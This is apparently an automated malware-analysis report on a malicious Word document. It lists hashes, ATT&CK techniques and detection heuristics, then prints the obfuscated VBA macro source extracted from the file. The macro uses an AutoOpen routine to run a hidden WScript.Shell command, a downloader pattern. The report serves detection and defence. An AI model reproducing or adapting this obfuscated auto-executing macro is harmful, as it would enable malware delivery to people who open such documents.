Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bbc365e6c717c610…

MALICIOUS

Office (OLE)

153.0 KB Created: 2019-01-15 17:20:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: de417928d0feaa5933eb191b662060ed SHA-1: 5957ed75dd98c8161e72afac1f73f6758cc05d93 SHA-256: bbc365e6c717c6103e88855587a7f959255f51c08da80b542cb0cf2e77b66b84
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. Critical heuristics indicate the use of WScript.Shell and CreateObject, suggesting the macros are designed to download and execute a second-stage payload. The presence of an AutoOpen macro further supports this malicious intent, aiming for immediate execution upon opening the document.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6816178-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6816178-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
     Set Sharableiz = etailersnn
SouthDakotaiv = "WscRipt.sHeLl"
   Set COMdp = solutionsrm
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set programbz = Customerou
Recontextualizedzr = Array(CFPFrancor, u1080ppb, monitorzz, CreateObject(SouthDakotaiv).Run!(("" + HandmadeFrozenGlovesws + channelszo + Securedhu + Kuwaitlp.TextBox1) + Avondw + overridejw + Unbrandedwk + whitejq + crossplatformin, 5 - 5), alarmlw, enterprisemm, Trackik)
   Set programmingaz = securedlinetl
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub autoopen()
Genericjk = Array(Horizontalzl, Optimizationsb, Centerlc, NorfolkIslandim, GorgeousPlasticTablefl, plumzi, primarycf)
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7147 bytes
SHA-256: 4d59b7f0ce441b3bc5a70689bf2a1276b86f15a5ad92b62273ba72db312d743c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kuwaitlp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Name = "Analystmj"
Function NorfolkIslandim()
On Error Resume Next
   Set auxiliarycw = MarshallIslandsfw
For Each GBtt In onlinecw
      For Each Totalwk In BurundiFranczb
         innovatewl = (Oct(13))
      Next
      Do
         CreditCardAccountpb = CLng(redundantzj)
      Loop Until B2Cba Eqv systemkr
      Set Arizonafi = Crescenthj
      UnbrandedSteelChickenwh = Associateql
      For Each RAMmf In userfacingru
         RwandaFrancvj = Cos(hackzb)
      Next
   Next
 Set regionaljd = GamesKidsjd
   Set invoicenw = architectsu
For Each Mobilityao In Idahowz
      For Each indexjb In Bypassvd
         Parksbl = (Oct(373))
      Next
      Do
         Globalkl = CLng(emarketsaf)
      Loop Until Clubls Eqv vortalsbi
      Set Forwardjh = Dynamicjq
      parsingzu = HandcraftedSoftSausageswq
      For Each Incredibleqi In SomaliShillingbw
         orangejo = Cos(Manorsmj)
      Next
   Next
 Set coherentkh = Jamaicaip
   Set Marketsdf = transmittingcf
For Each heuristicww In Omanjn
      For Each TunisianDinarjv In SASzo
         quantifyjf = (Oct(647))
      Next
      Do
         HTTPii = CLng(Genericbb)
      Loop Until recontextualizeai Eqv invoiceib
      Set SQLwo = Liaisonfm
      CheckingAccountjv = Squaresbr
      For Each Licensedas In Centersri
         Officermr = Cos(Programmableou)
      Next
   Next
 Set asynchronousvm = contentbasedpf
   Set Mobilitysu = Agentnp
For Each Motorwayzb In Investorlh
      For Each whitefi In Ranchjw
         Executiveif = (Oct(300))
      Next
      Do
         SavingsAccountqr = CLng(ToolsMoviesAutomotivewp)
      Loop Until Technicianus Eqv Internalrn
      Set inputhq = Marylandvi
      impactfului = Districtnq
      For Each Recontextualizedou In RusticCottonPantszl
         MarshallIslandsik = Cos(Hungarytl)
      Next
   Next
 Set Sharableiz = etailersnn
SouthDakotaiv = "WscRipt.sHeLl"
   Set COMdp = solutionsrm
For Each BahrainiDinartp In Coordinatoric
      For Each Concreteqp In Ohiovr
         Automotivems = (Oct(383))
      Next
      Do
         Cambridgeshirepj = CLng(Lightwc)
      Loop Until Rubberjt Eqv Futuredw
      Set tanjb = SavingsAccountnv
      Grenadadp = Usabilityub
      For Each onlineub In Polarisedij
         goldso = Cos(AutoLoanAccountpw)
      Next
   Next
 Set Engineerfp = verticalin
   Set Greenlq = synergyjb
For Each Expresswayzj In Metalwb
      For Each PersonalLoanAccountzd In tangiblejz
         IncredibleWoodenKeyboardrq = (Oct(31))
      Next
      Do
         Creativedc = CLng(lavenderjt)
      Loop Until Bordersic Eqv Borderssn
      Set CFAFrancBEACvr = SleekPlasticGlovestb
      Handcraftedwc = Cambridgeshirerk
      For Each CheckingAccountnz In AwesomeMetalChairil
         userswf = Cos(Missourirl)
      Next
   Next
 Set programbz = Customerou
Recontextualizedzr = Array(CFPFrancor, u1080ppb, monitorzz, CreateObject(SouthDakotaiv).Run!(("" + HandmadeFrozenGlovesws + channelszo + Securedhu + Kuwaitlp.TextBox1) + Avondw + overridejw + Unbrandedwk + whitejq + crossplatformin, 5 - 5), alarmlw, enterprisemm, Trackik)
   Set programmingaz = securedlinetl
For Each AutoLoanAccountol In USDollarcz
      For Each BabyToolsElectronicsbk In Belaruszw
         Exclusivezo = (Oct(176))
      Next
      Do
         busnc = CLng(Vermontmh)
      Loop Until Marketingst Eqv virtualsw
      Set AImw = IntelligentConcreteChickendw
      Shoalsat = Liaisonub
      For Each Metalnz In paymentaj
         compresshz = Cos(Millsj)
      Next
   Next
 Set Implementationko = Buckinghamshireri
   Set invoicejn = Streetbm
For Each bypassbd In copyja
      For Each JBODwr In Analystww
         Cottonlu = (Oct(390))
      Next
      Do
         Toolsbc = CLng(paymentzt)
      Loop Until initiativedu Eqv Gorgeousam
      Set backupzj = syndicatetq
      CaymanIslandsDollarir = Developerkm
      For Each RefinedPlasticFishka In bypassingzh
         Yemennh = Cos(revolutionarynz)
      Next
   Next
 Set Supervisorqw = HomeToysqn
End Function


Attribute VB_Name = "Meadowscz"
Sub interfacesbq()
Awesomezk = IntelligentFreshFishoc
Maldivesvz = navigatemj
Wyomingbi = overridelp
End Sub
Sub autoopen()
Genericjk = Array(Horizontalzl, Optimizationsb, Centerlc, NorfolkIslandim, GorgeousPlasticTablefl, plumzi, primarycf)
End Sub

Attribute VB_Name = "Brandingbd"

Attribute VB_Name = "bluetoothod"

Attribute VB_Name = "Capejq"

Attribute VB_Name = "Manatlw"

Attribute VB_Name = "explicittk"

Attribute VB_Name = "purpleti"

Attribute VB_Name = "Regionalrh"

Attribute VB_Name = "NepaleseRupeemv"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "applicationhi"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Freshaj"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Clubdi"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Tongado"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Supervisorfc"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Buckinghamshirejd"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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